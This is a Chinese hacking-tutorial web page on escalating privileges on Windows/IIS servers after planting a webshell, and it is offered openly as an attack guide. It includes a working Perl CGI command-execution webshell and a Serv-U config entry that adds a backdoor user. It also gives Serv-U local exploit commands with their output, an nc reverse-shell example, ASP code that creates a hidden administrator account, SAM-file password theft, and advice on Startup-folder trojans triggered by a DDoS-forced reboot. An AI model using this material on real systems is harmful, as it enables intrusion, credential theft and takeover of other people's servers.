投递文章投递文章 投稿指南 RSS订阅RSS订阅

通过webshell提权的几种方法

来源:iT堂整理 发布时间:2007-12-13 收藏 投稿 字体:【

上传ASP马后权限提升

本篇文章结合了许多高手提升权限的技巧和自己的一些想法

当我们取得一个webshell时候,下一部要做的就是提升权限

个人总结如下:

1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\

看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆

ps: 破解工具本站已提供。请自己Search一下!

2.C:\WINNT\system32\config\

进这里下它的SAM,破解用户的密码

用到破解sam密码的软件有LC,SAMinside

3.C:\Documents and Settings\All Users\「开始」菜单\程序\

看这里能跳转不,我们从这里可以获取好多有用的信息

可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转

进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空

[USER=WekweN|1]

Password=

HomeDir=c:\

TimeOut=600

Maintenance=System

Access1=C:\|RWAMELCDP

Access1=d:\|RWAMELCDP

Access1=f:\|RWAMELCDP

SKEYValues=

这个用Ь哂凶罡呷ㄏ蓿?然后我们就可以ftp上去 quote site exec xxx 来提升权限

4.c:\winnt\system32\inetsrv\data\

就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

5.看能否跳转到如下目录

c:\php, 用phpspy

c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell

#!/usr/bin/perl

binmode(STDOUT);

syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

$_ = $ENV{ QUERY_STRING };

s/%20/ /ig;

s/%2f/\//ig;

$execthis = $_;

syswrite(STDOUT, "
\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT, "\r\n\r\n", 17);

close(STDERR);

close(STDOUT);

exit;

保存为cgi执行,

如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir

显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录

http://anyhost//cmd.pl?c\perl\bin\su.exe

返回:

Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

现在是 IUSR 权限,提交:

http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"

http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"

http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"

http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"

如果返回下面的信息,就表示成功了

Serv-u >3.x Local Exploit by xiaolu

<220 Serv-U FTP Server v5.2 for WinSock ready...

>USER LocalAdministrator

<331 User name okay, need password.

******************************************************

>PASS #l@$ak#.lk;0@P

<230 User logged in, proceed.

******************************************************

>SITE MAINTENANCE

******************************************************

[+] Creating New Domain...

<200-DomainID=2

<220 Domain settings saved

******************************************************

[+] Domain xl:2 created

[+] Creating Evil User

<200-User=xl

200 User settings saved

******************************************************

[+] Now Exploiting...

>USER xl

<331 User name okay, need password.

******************************************************

>PASS 111111

<230 User logged in, proceed.

******************************************************

[+] Now Executing: cacls.exe c: /E /T /G everyone:F

<220 Domain deleted

这样所有分区为everyone完全控制

现在我们把自己的用户提升为管理员:

http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"

6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限

用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll

再将asp.dll加入特权一族

asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)

我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\as p.dll"

可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

7.还可以用这段代码试提升,好象效果不明显

<%@codepage=936%><%Response.Expires=0

on error resume next

Session.TimeOut=50

Server.ScriptTimeout=3000

set lp=Server.createObject("WSCRIPT.NETWORK")

oz="WinNT://"&lp.ComputerName

Set ob=GetObject(oz)

Set oe=GetObject(oz&"/Administrators,group")

Set od=ob.create("user","WekweN$")

od.SetPassword "WekweN" <-----密码

od.SetInfo

Set of=GetObject(oz&"/WekweN$,user")

oe.Add(of.ADsPath)

Response.write "WekweN$ 超级帐号建立成功!"%>

用这段代码检查是否提升成功

<%@codepage=936%>

<%Response.Expires=0

on error resume next '查找Administrators组帐号

Set tN=server.createObject("Wscript.Network")

Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Admi nistrators,group")

For Each admin in objGroup.Members

Response.write admin.Name&"
"

Next

if err then

Response.write "不行啊:Wscript.Network"

end if

%>

8.C:\Program Files\Java Web Start\

这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。

9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。

等到主机重启或者你ddos逼它重启,来达到权限提升的目的。

总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字"找" "上""执"

以上是本人的拙见,大家有什么好的方法多多分享

User0=webasp|1|0

SKEYValues=

[USER=webasp|1]

Password=no7C154C45EDA5D0AABBC7DD93B0AEB078

HomeDir=c:\

TimeOut=600

Maintenance=System

Access1=C:\|RWAMELCDP

SKEYValues=

ftp>open ip

Connected to ip.

220 Serv-U FTP Server v4.1.0.0 for WinSock ready...

User (ip:(none)): id //输入构造的用户

331 User name okay, please send complete E-mail address as password.

Password:password //密码

230 User logged in, proceed.

ftp> cd winnt //进入win2k的winnt目录,如果是winxp或者是windows server 2003就应该为windows目录。

250 Directory changed to /WINNT

ftp>cd system32 //进入system32目录

250 Directory changed to /WINNT/system32

ftp>quote site exec net.exe user 用户名 密码 /add //利用系统的net.exe文件加用户。

200 EXEC command successful (TID=33).

ftp>quote site exec net.exe localhost administrators 用户名 /add //提升为超级用户

顶一下
(1)
100%
踩一下
(0)
0%
本文Tags:
  • 表情:
  •    
  • 评价:
用户名: 密码: 匿名 注册
最新评论 查看所有评论
About iTtang - 联系我们  - 专题列表 - 友情链接  -  高级搜索  -  帮助中心  -  您的意见